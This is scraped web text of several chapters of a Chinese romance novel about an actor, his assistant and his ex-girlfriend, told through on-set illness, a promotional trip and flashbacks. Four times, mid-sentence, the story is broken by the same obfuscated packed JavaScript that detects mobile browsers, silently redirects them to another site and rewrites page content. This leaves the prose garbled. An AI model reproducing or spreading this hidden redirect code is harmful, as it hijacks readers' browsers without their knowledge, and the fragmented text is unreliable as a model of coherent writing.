阿远惊讶地看了祁歌两眼,伸手探了下他的额头。 好像是比正常温度热一点。 “你真中暑了!”阿远又开始掏兜,“我服了,怎么会有人自己中暑了都不知道啊,你都低烧了……正好我这儿有藿香正气液。” “不用了吧,”祁歌抗拒地指了指杯子里的糖盐水,“我喝这个都想吐。” “那咋办,我跟导演讲一下,你把外套脱了,吹会儿空调。”阿远站起身,不顾祁歌的反对,先去后面拽了根粗粗的空调管道,对着祁歌吹起来。 没一会儿阿远就跑回来了:“导演说多休息半小时,你赶紧缓一缓,一会儿找场务给你量个体温。” “不用量了,应该没事。”既然时间宽裕了些,祁歌便依言将最外层那件厚重的外袍脱了下来,稍微散散热。 一口气撑着的时候还不觉得,松下来之后,祁歌才觉得有点头晕眼花。 “你那个什么……藿香水,给我吧。”他伸出手去。 “啊?”阿远犹豫不决,“你不是想吐吗?我怕这个刺激胃……” 祁歌没答话,伸出去的手在空中招了招。 阿远果然还是把小小的口服液递了过来。 他接过来捏着鼻子一口全喝了。 “咋样?”阿远急着追问道。 “比想象中好喝点。”祁歌闭上眼评价道。 “那就行,也不枉程姐特意给你准备的这些。” 祁歌睁大眼睛。 阿远笑嘻嘻地把憋了半天的话说出来:“你上次跟程姐抱怨热,转头程姐就给寄了好多解暑降温的东西,降温贴,小风扇,补电解质的冲剂,还有这个藿香正气液,都是她打包寄过来的,昨天刚收到。” “那你怎么现在才说?”祁歌瞪了他一眼,“手机给我。” 阿远眨了眨眼,表情顿时就变了。 祁歌挑起眉。 “我那个,我就是……我已经替你感谢过程姐了。” 心中警铃大作,祁歌提了点声调:“怎么感谢的?” “就、说……寄的东西都用上了。” 祁歌长叹一口气:“你这嘴可真快啊。” “好吧,不该不经你同意就告诉她,”阿远正襟危坐,认真说道,“但是说真的,为啥不能告诉程姐啊,我是真不懂。” “我不想总让她担心,”祁歌望着阳光下的某一个点,陷入了某种思索,“这次还是不要了。” “这次?” 祁歌垂下眼没再说下去。 休息时间快到的时候,导演过来关心了一下祁歌,看他精神还好,这才放心喊准备开拍。 阿远坐在原地若有所思。 她旁观者清,早看出这两人心里都有彼此,却不知道被什么阻碍着,难以跨出那一步。 看样子是和之前他们俩之间的什么事情有关。 有什么事是说不开的啊? 手机里那边程书仪的回复很冷淡:“好的,不客气。” 阿远呆滞:咋回事啊这俩人! 等祁歌今天的戏份拍完,终于卸了妆拿到手机,才发现自己已经被拉进了一个群。 群名被设置了好长一条:“那我当面报信就不算嘴快了吧” 什么东西这是?他问阿远。 “噢,是我跟程姐聊天的群。”阿远理所当然地回答。 祁歌更迷惑了:“你跟程书仪聊天,拉我干什么?” 阿远更加理直气壮:“不是嫌我背后蛐蛐你吗,那我以后当面蛐蛐。” ?祁歌哑口无言甚至忘记自己原本是要说什么。 算了,事已至此,他想,大概也不会更糟了。 他的手指悬在屏幕上空,群聊那栏犹豫了半天,到底没有勇气打开。 这次离开A市之前,在那个清吧里,对程书仪说出那些希望她能考虑一下的话时,他还是很有勇气的。 也不知道为什么,最近却又感觉到了些畏惧。 似乎和程书仪接触得越多,他便越清楚自己正在无法抵抗地重新陷入漩涡之中。 上一次是他想要抽身而退,这一次先一步退却的人却换成了程书仪。 很公平。 祁歌的手指 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16578275|187202||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 触到刚刚揭下来的清凉贴。 贴了太久,几乎已经感觉不到凉意了。 似乎程书仪给他的感觉也是这样,此刻她能给予的东西,可能一念境转之间就会被轻易收回。 时过境迁,她身上多了些淡然,他也不再那么固执敏感。 但他们毕竟还是他们。 程书仪……应该还在犹豫吧,那也就说明还有希望? “程姐问我小风扇哪个好用,哈哈,”阿远完全没留意到祁歌情绪的异常,快乐地抱着手机敲字回复,“那当然是大的好用啦!” 程书仪大概是不确定手持风扇多大尺寸才正好,买了三个大小不同的。 阿远刚敲完回复,忽然看到群聊记录里多了一行字。 祁歌:小的好用,上戏了我就藏袖子里。 阿远大惊:你拍的时候都拿着? 祁歌冲她无辜摊手:没人帮我拿啊。 这……这还反倒成了我的不是了? 阿远发出林黛玉表情。 程书仪打了三个哈字。 祁歌一脸了然地关了屏幕,拎起一大瓶电解质水招呼阿远:“还不走?” 不是你明白了什么啊?阿远懵懵跟随中。 这段时间程书仪没在群里说过太多话,大都是在每天的固定时间集中回复阿远几句。 祁歌也会在程书仪出现后紧随其后聊几句天。 这俩人是不急,我这个助攻要急死了,阿远心想,真的不能把群名改成“相亲相爱一家人”吗? 而且她真的有点搞不懂祁歌。 这人最近拍戏都很顺利,和剧组也处得很融洽,女主在片场拉脸的次数都显著减少。 可他似乎状态并不算好,吃饭总是勉强,还推说天气太热。 中间高姐过来了一趟,还单独把祁歌叫走了半天,神神秘秘的。 “你们去哪了啊?”回来之后阿远好奇地问。 “高姐带我看医生。”祁歌说。 “什么?!!”阿远大惊,“你咋了?!!” 太可怕了,什么病竟然到了要让高姐带着去看医生的程度? 要知道,这人可是发烧胃疼受伤晕倒全都没下过火线啊! “不是你跟她汇报说我胃口差吗,”祁歌看傻子的眼神看她,“高姐带我去看个中医。” “哦……那药呢?”阿远呼了口气,“需要帮你煎吗?” 祁歌摇头:“现在都是成药,没那么麻烦,你没事多休息休息,我看你最近都晒黑了。” “我什么时候白过吗?”阿远白眼他。 拍摄进入后半段,宣发也在慢慢开展,这周末祁歌要和女主欣欣一起去参加A市一个商务活动,权当前置宣传一下。 剧组只给了一天假,要拍宣传照要出席活动,晚上还要做个小直播,行程非常魔鬼。 “你这次回A市要跟程姐说吗?”阿远问祁歌。 祁歌正盯着没什么动静的群聊发呆,闻言摇头:“算了,不一定有时间见面,别让她空等了。” 这几天他白天晚上出工时间不定,作息非常不稳定,场内的工作人员每天呵欠连连。 “对了,回来那天的通告单出了吗?”祁歌问阿远。 “嗯,你八点就得化妆,睡不了几个小时。”阿远说,“晚上活动如果结束得早,帮你改签早一班的吧。” “不好说,”祁歌凑过去看,“……需要的话到时候我告诉你。” 19. 你来吧 要赶活动的临走前一天,不幸拍摄不太顺利,拍完最后一场戏已经是凌晨。 祁歌跟女主欣欣下戏之后卸了妆,直接坐上了去A市的飞机。 几小时之后的清晨,两人前脚出了机场,后脚又进了化妆间,开始进行宣传照拍摄。 大家都是专业的,即便只飞机上睡了几小时,也都得拿得出好的状态,来完成该做的工作。 女主欣欣已经开始喝第二杯特浓,并问祁歌要不要来一个。 祁歌看着咖啡杯就觉得胃里有些抽搐。 “不了,谢谢啊,”他摆手拒绝了对方的好意,“我还行。” “这种咖啡很香,不会苦,”欣欣笑着说,“真不尝一口?” 她向祁歌递过来的杯子上甚至还有口红印。 祁歌吓得赶紧退一大步:“真不了,我有点胃疼。” 说完才反应过来,完了,被恐惧占据了理智,把实话说出来了。 “啊?你不舒服啊?”欣欣的声音立刻放大数倍,吸引了周围不少工作人员。 “没有没有,一点点,”祁歌赶紧又是摆手又是解释,“我是担心喝咖啡会引起……真没事。” 其实熬夜之后身体多少会有点反应,这种程度的他早都习惯了,也确实不算什么事。 确认了他身体没事之后,工作才继续进行下去。 中午拍完了照片,他们匆匆在工作间吃了饭,又要出发准备下午的站台活动。 主持人的问题已经拟好了,按照惯例他们都要提前过一遍。 这次的活动并非只有他们两人参加,活动的出场也不是一起,对祁歌来说相对轻松一些。 没想到没过一会儿,刚进他们剧组的陈逸心也来了,跟祁歌在一个化妆间。 祁歌有点意外:“昨天没听你说也要过来?” “公司临时安排的,反正你俩也不在,我也放假啦。”陈逸心笑嘻嘻地说。 祁歌点点头:“挺好,那正好一起。” 他猜得没错,他和陈逸心两人果然是差不多的时间一前一后出场,主持人还Q了两句他们有合作新戏。 也算是种宣传吧,祁歌心想,只不过回头估计难免被粉丝对比,再拉踩一下了。 活动全程都和陈逸心勾肩搭背装作很熟,让他感觉十分疲惫。 好容易等到活动结束,距离晚上直播开始的时间已经不多了。 陈逸心没有直播任务,早早跟他们告了别。 女主已经累得眼睛有些无神,到了现场直接瘫在沙发上任由妆发老师给她换造型。 祁歌忍了又忍,还是用手抵着胃低声问工作人员可不可以帮忙拿点水来。 早上还只是稍微有些不舒服,这会儿折腾了一天,他开始隐隐觉得有针刺般的痛一点点侵袭着胃部。 直播的时长大约是一个小时,不算太长,他琢磨赶紧吃个药应该挺得过去。 等着开播的空隙里,他掏出手机发消息给阿远,通知她帮忙改一下回剧组航班的时间。 程书仪是碰巧刷了刷超话,才得知祁歌今天回了A市,并且是拍完大夜之后早上飞机刚落地,现在已经完成一个拍摄一个站台,此刻正在直播。 点开直播间后第一时间的感想是:好牛啊,这种行程依然能神采奕奕,精力的神。 但细看了几分钟,程书仪就看出祁歌并没有他表现出来的状态那么好。 只不过直播间要卖货,不管是主播还是嘉宾都必须做出一副兴奋又激动的样子,来激起观众的购买欲。 他们俩为了剧宣才来,也带了几个赞助商的货来直播间卖。 其中就有某品牌的纯牛奶,主播还给配了茶点来演示。 程书仪看得清楚,祁歌举了几次瓶子,都没真的喝下去几口。 相比之下,女主吃喝时就积极很多,还自嘲难得有名正言顺吃吃喝喝的机会,经纪人你别跟我使眼色。 她率真的表现赢得了弹幕的一片哈哈哈哈。 于是很快就有人指责起来,说男演员也太装了,这么半天一口没吃。 不知道是不是有工作人员反馈了这个情况,祁歌忽然扬了下眉毛,随后态度变得积极起来,大嚼酥饼嚼得满口渣,往下咽的时候又差点噎住,赶紧猛灌几口牛奶顺了顺。 这样折腾一套下来,直播间的氛围就又好多了。 打工不易啊,程书仪心想。 她看得出祁歌那一瞬间的面露难色,而之后这段的表现,对他来说不过是表演。 吃完东西之后他们还聊了一会儿天,女主欣欣说着说着便顺势站了起来,和主播一起跟观众互动。 祁歌还坐在原处没有起身。 弹幕很快又有人说这男的是不是太不绅士,女生都站着自己坐着。 于是很快祁歌也站起来,但用胳膊肘撑着台面,看着很随意地歪着身子继续开着玩笑。 程书仪竟然看得有些坐立不安。 刚才她还有点嘀咕,怎么祁歌这次回来没跟她讲,也没约见面。 看这个状况肯定是魔鬼连轴转,他自己撑不撑的下来都成问题。 好在直播很快就结束了,程书仪放下手机去洗漱,回来时才发现祁歌给自己发了消息。 说自己回到A市工作也结束了,问她今晚忙不忙。 程书仪叼着牙刷回复:“不忙,你要过来?” “可以吗?”祁歌很快回复过来,“上次答应你的酒还没补给你。” 程书仪想了想,先问他:“你什么时候走,几点的飞机?” 那边半天没回话。 程书仪叹了口气,打字道:“你来吧。” 祁歌望着屏幕上的这三个字,起身穿衣服出门。 他收工之后在直播地点旁边的小店稍坐了一下,等程书仪的消息,顺便又补了两颗药。 女主欣欣赶晚班的飞机已经飞走了,他身边也没有别的工作人员,现在胃里还一阵阵绞痛,实在处境非常凄惨。 如果他把这些说出来,程书仪是一定会让他过去的。 所以他没说。 而程书仪也没有再问,并且已经答应了。 祁歌低着头深呼吸了几次。 这一次行程确实有点太赶,但他上次走之前,答应过会补上那顿匆忙作别的酒。 或许,也会说完那一次没能说完的话? 想到这里,不免有些近乡情怯了起来。 他跟程书仪也算是网友奔现,一开始客客气气相敬如宾,后来渐渐熟悉了,祁歌就开始撒娇玩闹,用生病受苦惹她心疼,又笑着轻松遮掩过去。 现在想想,那些卖惨行为对他来说只是一种对关心的索取,对程书仪来说却成为了某种负担。 因此程书仪会在自己忙碌之余,还百般努力地帮他想解决办法,试图劝他脱出困境。 既然又辛苦又没有回报为什么要坚持?这个行业看不到混出头的希望为 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16578276|187202||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 什么不放弃? 那个时候,祁歌觉得他们俩可能是没办法互相理解的。 现在他却隐隐约约懂了。 这些不理解并不是横亘在他们之间最深重的沟壑,或许他们都是因为爱得深切真挚,所以无意间要求得太多、太矛盾。 走在风雨之中,不熟悉的人可以轻飘飘说一句“加油”,但爱你的人却看不得这些泥泞。 他敲开程书仪的门之后,很熟门熟路地将自己带的一瓶红酒放在柜子上,然后低头换拖鞋。 “哟,你还挺礼数周全。”程书仪穿着睡衣抱臂看着他。 听上去有点没好气的感觉。 祁歌心里有些疑惑,但想了一圈又不知道自己做错了什么,只好低着头先默默把鞋换好。 站起来之后眼前先是一片黑。 他装作无事撑着鞋柜定了定,笑着开口道:“抱歉啊,这么晚突然打扰你,今天行程排得有点满,白天也没找出时间。” “所以飞机是几点的?”程书仪问。 祁歌挣扎了一下才答道:“五点多。” 他明天早上要出早妆,五点多的飞机,到达后马不停蹄地赶过去,应该正好不会迟到。 但现在时间还不算太晚,至少今晚是腾出来了。他颇为欣慰地想。 程书仪在心里翻了个白眼。 这爱翻白眼的习惯不能怪阿远,只要在他身边都难免会有这个需求。 早上五点多的飞机,凌晨三点就得走,刚才还在镜头前面胃疼得站不起来,就这样还要找自己喝酒? 真该量量这人是不是又发烧了在这儿说胡话。 “还没卸妆吧你,”程书仪打量着他根根都拉出精致弧度的发型,“先去洗漱吧。” 祁歌点点头,自觉进了客卫。 进去没几秒又探出头来:“这些我可以用吗?” 在他来之前,程书仪已经准备好了洗漱用品之类的给他放进去了。 得到肯定后,祁歌展颜笑了笑:“谢谢。” 他已经把头缩了回去,却在后面小声续了半句,像是自言自语,又像是特意要给程书仪听到。 “你也太好了吧。” 这就太好了?程书仪有些莫名心酸地想,孩子选这条路真是吃了太多苦了。 也不知道图啥。 祁歌洗漱完还给程书仪把卫生间收拾了一下。 程书仪站在门口看到擦得干干净净的地板和洗手台面感觉有些无语。 “怎么样,我今天没吃感冒药,陪你喝两杯?”当事人没事人一样回头看她。 “你跟我来这边,”程书仪拽着袖子把他抓回来,直接领进了卧室。 祁歌还没反应过来,就被她当胸一推坐了下来。 祁歌眼睛里都要瞪出惊讶的火花:“啊?这……等一下……” “想什么呢!”程书仪抬手给他一个爆栗,“胃疼还想喝酒?没吃感冒药,胃药吃了不少吧,给我睡觉!” 祁歌坐在原处半张着嘴看着她。 “怎么了?有意见?”程书仪居高临下地问。 祁歌把嘴巴闭上坚决地摇了摇头。 程书仪这才满意:“走的时候司机会在楼下等你,我就不起来了。” 把人安排妥当,她才志得意满地关上门。 对付祁歌这种人,真的不能跟他来回商量打太极,就得用这种直接的手段和命令。 这不是就乖乖听话了? 20. 是谈过 阿远早上看到祁歌露面就开始倒出自己积累的埋怨。 不是哥你怎么回事,非要赶那阴间时间的航班,还好死不死地延误了一会儿,差点化妆要迟到,让你昨晚回来你还不听……你吃饭了没有啊,这一大趟折腾的,还好今天都是文戏,不然谁扛得住啊我的天……诶你笑什么? “啊?”祁歌回过神来,“我笑了吗?” 阿远怀疑地上下打量着他一番,得出结论:“哥,你昨天去找程姐啦?” “啊?”祁歌回瞪她一眼,“谁跟你说的?” 阿远哼了一声,直接掏出手机一边念叨一边打字:“程姐,感谢你收留祁哥,他昨天表现咋样?” “喂,”祁歌直接把手机从她手里抽走,动作飞快地撤回了消息,“小孩子家家不要乱说话。” “怎么乱说话了?”阿远原地愣了一下,才忽然反应过来,立刻上手准备打祁歌一顿。 “哎有你这样当助理的吗,殴打老板……”祁歌赶快绕着化妆椅逃窜。 才转了半圈,他就扶着椅背摆手:“不行了,我有点晕。” 有前车之鉴的阿远赶快过来看他:“怎么了?” 凑得近了才看清祁歌白着一张脸,唇色浅淡,确实很不舒服的样子:“你这又是咋了,昨天累着了?” “啧,”祁歌扶着椅子慢慢坐下,“不要紧,可能昨晚吃撑了。” 这个表述对他来说未免有些罕见,阿远一脸茫然。 从昨晚直播的时候强迫自己吃下几块糕点又喝了一大口奶之后,祁歌胃里就一直没消停过。 下了直播他就悄悄去吐了一次,接着胃部从难以忍受的绞痛慢慢变成可以忍耐的刺痛感。 晚上吃了药也就安稳睡了几个小时,早上起来赶飞机时就又开始痛了。 这种情况当然吃不下什么东西,但走前发现程书仪在门厅的桌上给他留了面包,祁歌当然是揣着了。 就这么一路从A市揣回了片场化妆间。 他知道这会儿该吃点东西,但仅仅是允许“吃东西”这个念头冒出来,就条件反射地一阵反胃。 祁歌坐在椅子上稍缓了一会儿,等剧组的车来了便起身往外走,顺便把面包丢给阿远。 “你程姐给的。”他随口解释说。 他万万没想到阿远转头就把没动过的面包发到了群里,还声音超大地感谢程姐。 程书仪当即发来问号。 祁歌头疼扶额,假装没看到。 本来吃不下饭就是一件小事,这下可好,被好几个人监管了起来。 “祁哥我给你带了鸡汤,”午饭时间阿远热情地拿出那个小焖烧杯,“这儿还有盒饭,将就吃点!” “……行。”祁歌不忍拂她的意,拿起勺子尝了几口汤,又舀了白米饭准备泡汤吃。 阿远立刻就有意见了:“哎,我听说不能那么吃,对胃不好。” 说完她看了看祁歌的表情,又把饭往他那边推了推:“算了你吃吧,好容易想吃两口。” “想吃点啥吃点啥吧……” 祁歌眯起眼睛怀疑她在阴阳,却只在阿远脸上看到一种无辜询问的清澈与同情。 这种不自知的阴阳是纯天然的,只会把他自己气出暗伤。 这天晚上收工之后,阿远忽然收到高姐电话,问祁歌最近的通告满不满,状态怎么样。 “高姐,”阿远谨慎地问,“祁哥……身体出什么问题了吗?” 高姐那边犹豫了一下:“这事儿其实也该告诉你,但你得注意保密啊,艺人是不能爆出这种消息的。” 阿远越听心里越凉,生怕下一句就要听到什么天大的坏消息。 “祁歌他心理出了点问题。”高姐说。 “……啊,”阿远应了一声,“什么、什么问题啊,严重吗?” 其实当代牛马谁还没有点心理问题,也能理解,还好还好。 “就几年前,他的戏连续被换角,自己心理有点扛不住,”高姐叹了口气,“我听他说最近因为配角压番的事情压力有点大,可能又有些复发,吃不下饭也有可能是吃药的副作用,总之你多照顾着点。” “哦,我看祁哥每天都挺淡定,还开玩笑,还以为他不在意。”阿远说。 “他不在意?”高姐的语气升了一个度,“你是不知道之前他把自己折腾成啥样了,把自己关在屋里一个礼拜不出门,只能说是维持生命体征都不能叫活着……” 那些过去阿远都不曾参与,但只是脑补一下,就觉得心里有些酸酸的。 “现在有戏拍就挺不错的,我最近又接了几个剧本,你督促他闲了都看看,我们找时间好好选一下。”高姐熟练地以工作安排结束了对话。 阿远挂了电话想了又想,到底没把这件事跟程书仪说。 她还不确定三年前到底发生了什么。 虽然说祁歌惯会把自己的情绪掩藏在表面之下,但阿远也没想到他会自我压抑到这个程度。 真是的,情绪有问题怎么不跟我说呢……倒是转头跟高姐说了,也在担心会影响工作吧…… 阿远下定决心,明天还是要一早就找祁歌问清楚! ——结果由于熬夜太晚,第二天睡过了头,醒来时发现祁歌已经给她发了消息,说自己先去片场了,让她不用着急过去。 “哇!哥你怎么不叫我!”刚赶过去她就找祁歌大呼小叫,“我还得自己骑车来!” “抱歉啊,”祁歌刚拍完一组,自己拿着纸巾擦汗,也笑着递给了她一张,“来来来擦擦汗。” “你道什么歉啊!”阿远一手叉腰,一手夺过他手上的抽纸,“别动放着我来,你早上吃饭了吗?吃药了吗?有没有带热水?别想蒙混过关啊。” 祁歌愣了愣,语气温和地劝她:“好了别担心,我自己也没问题的。” “怎么没问题?你……”阿远话要出口才留意到现在环境人太多,于是绕了个弯又咽了回去,“我不管,下次不能这样了!有啥事都要说!” “昂……行。”祁歌说。 “不行,你要保证,特别正式的那种!” 祁歌张了张嘴。 阿远瞪着他。 “我……保证!”祁歌演出一副正努力演的样子。 你别说,这人演技是挺好的。很有层次感。 阿远又逮住他一顿揍。 当天祁歌被助理殴打的视频就上了超话。 程书仪笑得乐不可支给阿远发消息:“阿远你火了,粉丝都说要对你膜拜,甚至有人怀疑你是重金包养了祁歌,就为了留在他身边。” “什 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16578277|187202||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 么,什么乱七八糟的啊!”阿远无语抱头,“我就开个玩笑啊!” “你该庆幸你老板不红,要不然你现在都被口水淹死了。”程书仪看热闹不嫌事大,抓紧时间嘲笑了这么几句,又赶紧去忙了。 等到晚上再看群聊,只见祁歌出现过一次,说视频已经联系公司处理掉了,又说这种事两天粉丝就忘了,不要紧。 阿远发出连续三个大哭表情。 “可怜见的,”程书仪打字说,“这算工伤吧,请几天假回来找我玩?” 上次她们在外面溜达时阿远提过还从没去过某著名游乐园,程书仪便承诺说下次有机会一定带她去。 阿远还没回话,群里先飘出祁歌言简意赅的消息: “准了。” 过了一会儿阿远才回道:“别,我要是走了我真担心老板会把自己作死。” 祁歌立刻发出“我不是我没有别瞎说”三连表情包。 阿远没再回嘴。 程姐看他俩内斗正看得兴起,没想到猝不及防就没话了。 正疑惑呢,阿远忽然单独给她发了条私聊:“程姐,有的事情我可能不该问,但是……” 程书仪等了半天她也没有下一句,干脆自己抢答道: “我们俩是谈过,三年前,一开始是我约的他,但是在一起没谈多久就分手了。” “他提的。” 那边阿远的正在输入停顿了一下。 最后发过来一个:“啊?” 千言万语,千头万绪,最后往往都变成一个简单的符号。 这个道理,此刻祁歌也深有体会。 他刚刚在组内会议上获得的新消息是,陈逸心刚刚说服导演改了剧本的大结局。 怎么说,就是任何剧拍着拍着要改剧本都很正常,也很常见但,那可是大结局啊…… 前面现代的部分原本都已经拍完了,因为大结局的更改,又要在这边完工之后回A市补拍。 之前剧本的结局是祁歌饰演的男主回到现实,找到女主解除误会,最后两个人在一起了。 改过之后一整个变成相忘于江湖。 这也太虐了吧…… “我的意思是先拍一版出来,到时候我们看剪辑来确定怎么使用,”导演这样说着,“大家看呢?我们进度也要进行协调,这部分戏稍微再赶一赶。” 最近他们在这部分古装戏里加了一点陈逸心的戏份,并且还在往不断增加的趋势发展。 高姐那边也一直在跟公司交涉,奈何对方公司可能花了更多钱,目前还就是将就拍着。 下了会祁歌给高姐打了个电话,问了问现在的情况。 “……总之你别受委屈自己忍着,有啥事都告我!”高姐义气干云地说,“还怕他个毛头小子吗!敢抢我们男主的戏我掀他的桌!” “好了,我觉得导演挺喜欢我的戏,夸了好几次,应该剪辑不会太夸张。”祁歌说。 “就怕到时候各方施压,导演也说了不算了。”高姐那边一阵杂音,应该是在忙着,“我过几天再去你那儿一趟,你别什么都往心里去知道吗?我真怕你……” 她说了一半忽然收了话头。 祁歌琢磨了两秒,明白了她在担忧什么。 他笑了一声:“我没事的,这次。” 21. 罗曼史 程书仪还依稀记得祁歌提出分手时是怎么说的。 他说,书仪,如果这段感情让我们都不快乐,是不是就没有继续的必要了。 他说,我还想努努力,却好像不知道应该怎么努力了。 他说,如果我走了,你会不会更开心些。 程书仪决定认同他的想法,并表示可以试一试。 说不定真的如他所说,分开对两个人都好呢。 那时候正好是程书仪工作最繁忙的阶段,分开后好像也没什么闲暇细细思考过这件事。 或许也曾有过怨怼,但这么长的时间过去,似乎也逐渐地淡化了。 她只来得及在回忆中留下一抹淡淡的说不清的情绪。 也是在最近再一次见到祁歌后才会觉得,或许也是有遗憾的。 三年前作为粉丝跟祁歌第一次见面后,程书仪相信祁歌并没有察觉到什么。 他只当做程书仪是网络上萍水相逢的路人,因为自己的境遇打抱不平了几句,散了也就忘了。 但程书仪没忘。 ——其实,直到今天都没忘。 可能就是倾注过期待又得不到的东西才会更加深刻吧,程书仪一直记得那个祁歌没能出演的角色。在那个剧本里,他会扮作神在人间的化身,与这片山水和这些百姓共谱一段传说中的故事。 一个年轻的小神仙,这可能是所有角色中最不像祁歌的一种形象。 祁歌出身普通家庭,在处处少爷小姐的娱乐圈里,他算是最接地气的那种,是从小角色一点一点演出来被人看见的。 程书仪也算是最早看到他的人之一。 见过了面就不算陌生人了。 那次见面之后,祁歌和程书仪平时的聊天渐渐多起来,也真正地熟悉了不少。 当时祁歌还在A市租房,程书仪却入了蒸蒸日上的行业,早早地供起了自己的房子,工作也更为忙碌些。 但哪怕行程满到天南地北地飞,连睡觉时间都不够,程书仪也每天都维系着和祁歌的聊天,时时给予关心,让祁歌多少有些受宠若惊。 于是下一次程书仪提出,A市有个挺出名的话剧上演,自己弄到了票,要不要一起看时,祁歌答应了。 那部剧演的是什么,程书仪现在已经不太记得了。 她只是看到祁歌在社交平台给一篇关于这个剧一票难求的博文点了赞,于是去收了两张票来。 观看的过程中,她所做的最大努力也不过是忍住不吐槽那些文绉绉的台词而已。 “我感觉这些人在台上说了一整晚的词儿,两句话就能讲清楚。”看完后她小心地发表意见说。 祁歌弯了眼睛看她:“哪两句话?” 她从祁歌表情里看不出不耐烦或嘲讽,于是就直说了:“大概就是女主问男主你爱不爱我,男主说我爱啊,女主又问那我们为啥不能在一起,男主说因为我感觉你不爱。” 祁歌这下没绷住大笑出声。 程书仪本来该生气的。 但她看着祁歌毫无设防的明快笑脸,就忽然觉得给他笑笑也没什么。 “对不起,”祁歌收住笑容后勉强挽回了一下,“我觉得你总结得太有灵魂了。” “是只剩灵魂了对吧,”程书仪叹了口气,“好吧,我这人真的不是文艺挂的。” 祁歌还故意逗她:“不是文艺挂的,怎么当我粉丝啊?” 他只是随口一问,程书仪却认真回忆了一下。 “最开始确实是偶然刷到的……”她若有所思地说,“好像我第一次给你留言,是因为你录了一些拍摄见闻,看着还挺好玩的。” 祁歌便也歪头想了想:“好像是……吐槽剧组的伙食之类的?我也不知道为什么,大家总爱看这些惨兮兮的事儿。” 再后来他们建了群,群里渐渐有了不少粉丝,有喜欢聊天的,有喜欢吹牛的,也有安静围观的。 常常互动的群友们熟识起来,也成了一个小团体。 于是群名被程书仪大手一挥改成了“祁歌全球粉丝后援会”。 祁歌发现后很快私聊她“无语”表情若干,又说承蒙抬爱,要么这个会长的职位您就拨冗兼任吧? “兼任?”程书仪捕捉到了他的用词,“我还任什么职务了吗?” 祁歌还没来得及答,程书仪又一句话跟了过去:“私联大王吗?” “是1号粉。”祁歌无奈地纠正。 好吧……程书仪皱了皱鼻子,心想早晚得让你再给我个职务干干。 比如女朋友就不错。 后来在程书仪的倡导下,在一个风和日丽,阳光和煦的下午,祁歌全球粉丝后援会的骨干成员在某个饭店召开了第一次面基大会。 程书仪还很有仪式感地带了横幅和鲜花过去,一时场面非常隆重。 但其实到场的不过五六个人,大家坐下聊了会儿天,晚上吃过饭就散了。 祁歌稍微喝了点酒,走路有点打飘。 那天程书仪开了车,便主动提出送他回去。 那次也是程书仪第一次见识到他的小出租屋。 “我参观一下可以吗?”进门前程书仪问。 祁歌有点好笑地看了她一眼,用钥匙开了眼前简单的木门。 于是程书仪愉快地进入,大概走了五步就撞到床了。 好的,“参观”这个词,是有点大材小用了。 “实话实说,刚毕业的时候公司给我给租的宿舍都比这大一点……”程书仪摸摸鼻子上不存在的灰。 这房间里基本只塞了一张床,床边做了个开放的柜子放衣服,床尾还有个小桌子大概是吃饭用。一进门的地方隔出了个小卫生间。 “没有厨房啊?”程书仪问。 “有啊。” “在哪?” “在外面。”祁歌探身从床边的小柜子里拿水给她。 “外面?”程书仪开始怀疑自己的眼睛。 这间房子小到一眼就望得到头,难道厨房是隐性的? 祁歌笑着带她又出了门,指着楼道的尽头:“厨房在那边,也很小,好像是两家共用的,不过我也不怎么用。” “你这房子好离谱啊,”程书仪感叹道,“这就是传说中的蚁居吗。” “这都要好几千一个月了,”祁歌笑着说,“而且我有时候拍戏到处跑,有个睡觉的地方就行了。” 程书仪啧啧称奇,看看这里连个坐的地方都没有,便赶快告辞了。 祁歌从楼梯送她下楼,在小区门口跟她挥别。 “祁歌,”程书仪上车前忽然很严肃地对他说,“我觉得你值得更好的。” 祁歌愣了愣:“什么,房子吗?” “不是,”程书仪用手含混地比了个圈,“所有这一切,你都应该得到更好的。” 祁歌怔怔地望着她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16578278|187202||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 